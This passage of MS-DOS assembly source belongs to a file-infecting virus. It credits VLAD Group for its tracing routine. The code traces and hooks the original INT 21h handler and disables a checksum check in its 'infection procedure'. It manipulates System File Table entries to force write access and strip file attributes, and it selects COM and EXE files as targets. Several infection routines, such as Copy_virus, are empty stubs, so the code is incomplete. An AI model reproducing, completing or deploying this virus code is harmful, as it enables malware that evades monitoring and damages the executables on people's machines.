ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³Start of Tracing and Hooking routines³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Trace_ints: pusha ; Here we start tracing & hooking push ds es si di ; but first we save the registers call trace_int21 ; now trace INT21h mov ax, ds ; DS:BX holds INT21's address cmp ax, 0 ; if DS = 0 the trace failed je bad_trace ; and we go away. call PUT_IT_ON ; Otherwise we are over bad_trace: ; here we exit ;-( pop di si es ds ; popa ; ret ; ; ; This wonderful tracing routine goes with credits to Satan's Little Helper ; and to VLAD Group ; Trace_Int21: ; call psp_trace ; First we try the PSP trace jc bad_psp ; if it failed we jump jmp trace_over ; otherwise it's ok ! ; bad_psp: ; if the PSP was bad call int30_trace ; we try traceing thru INT 30/31 jmp trace_over ; ; psp_trace: ; Routine to do the PSP trace lds bx,ds:[0006h] ; BX points to dispatch handler trace_next: ; cmp byte ptr ds:[bx],0EAh ; is it JMP xxxx:xxxx ? jnz check_dispatch ; No ! lds bx,ds:[bx+1] ; BX points to xxxx:xxxx of the JMP cmp word ptr ds:[bx],9090h ; check for double-NOP signature jnz trace_next ; not ok ! sub bx,32h ; 32h byte offset from dispatch ; handler cmp word ptr ds:[bx],9090h ; int 21 has same sig if it works jnz check_dispatch ; not ok ! good_search: ; clear the Carry flag clc ; if trace was succesful ret ; check_dispatch: ; cmp word ptr ds:[bx],2E1Eh ; check for push ds, cs: override jnz bad_exit ; add bx,25h ; 25h byte offset from dispatch cmp word ptr ds:[bx],80FAh ; check for cli, push ax jz good_search ; ok ! bad_exit: ; Set Carry Flag for stc ; trace fail ret ; ; int30_trace: ; Here we have the INT 30 tracer xor bx,bx ; make DS = 0 mov ds,bx ; mov bl,0c0h ; point to 0:0c0 jmp short trace_next ; go back inside the PSP tracer put_it_on: xor ax, ax mov es, ax mov word ptr es:[078h*4], bx mov ax, ds mov word ptr es:[078h*4+2], ax ret ; trace_over: ; End of trace ret ; ; Here comes the infection procedure File_execution: xor ax, ax mov ds, ax mov byte ptr ds:[056eh], 00h ; deactivate checksum check call open_file mov byte ptr ds:[056eh], 01h ; deactivate checksum check jmp return_to_innocence ; Error Handler Error_handler: ; Get time/date Get_time_date: ; Set time/date Set_time_date: ; Move virus to end of code I_like_to_move_it_move_it: ; Copy virus to file Copy_virus: ; Open file and play with the SFT Open_file: pusha push ds es si di bp call uppercase ; uppercase the name of the file mov ax, 3D00h ; try to open the file int 78h jc exit_error1 mov bx, ax Push bx ; save file handler for later Mov ax,1220h ; get job file table! (JFT) Int 2Fh ; call multiplex ; es:di=JFT for handler Mov ax,1216h ; get system file table Mov bl,Byte Ptr es:[di] ; bl=SFT entry Int 2Fh ; call multiplex Pop bx ; restore file handler Add di, 02h ; set file to Mov Word Ptr es:[di], 0002 ; read/write Add di, 02h ; reset file attributes mov ah, byte ptr es:[di] mov byte ptr cs:[attrib], ah Mov Byte Ptr es:[di], 0 Sub di, 04h Add di, 0Dh ; unmask seconds Mov dx, Word Ptr es:[di] Mov Word Ptr cs:[Time], dx ; save seconds Add di, 2 ; unmask day Mov cx, Word Ptr es:[di] Mov Word Ptr cs:[Date], cx ; save day Sub di, 0Fh ; now make DI point Add di, 20h ; to the filename Add di, 8 push bx ; push file handler again Cmp Word Ptr es:[di], 'OC' ; check if it's a COM Jne TRY_AGAIN Cmp Byte Ptr es:[di+2], 'M' Je GOOD_FILE1 TRY_AGAIN: Cmp Word Ptr es:[di], 'XE' ; or an EXE ? Jne CLOSING_INFECTION_ERROR Cmp Byte Ptr es:[di+2], 'E' Jne CLOSING_INFECTION_ERROR good_file1: pop bx ; restore file handler mov di, 0Ah ; now restore the original mov ah, byte ptr cs:[attrib] ; file attributes mov byte ptr es:[di], ah mov ah, 3Eh ; close file int 78h jmp exit_ok1 closing_infection_error: exit_error1: stc jmp exit_pop1 exit_ok1: clc exit_pop1: push cs pop ds lea dx, text1 mov ah, 09h int 78h pop bp di si es ds popa ret text1 db 0ah, 0dh, 'An executable is about to be run...', 0ah, 0dh, '$' ; Capitalize string at ds:dx UPPERCASE: Pusha Push ds es di si Mov ax, ds ; make source = DS:SI = DS:DX Mov es, ax ; make destination = ES:DI = DS:DX Mov si, dx Mov di, dx Mov ax, 1211h ; and call the multiplex interrupt Int 2Fh ; to do it Pop si di es ds Popa Ret second_mem_area_cipher_end: time dw 0 date dw 0 attrib db 0 ending: second_mem_area_end: end start end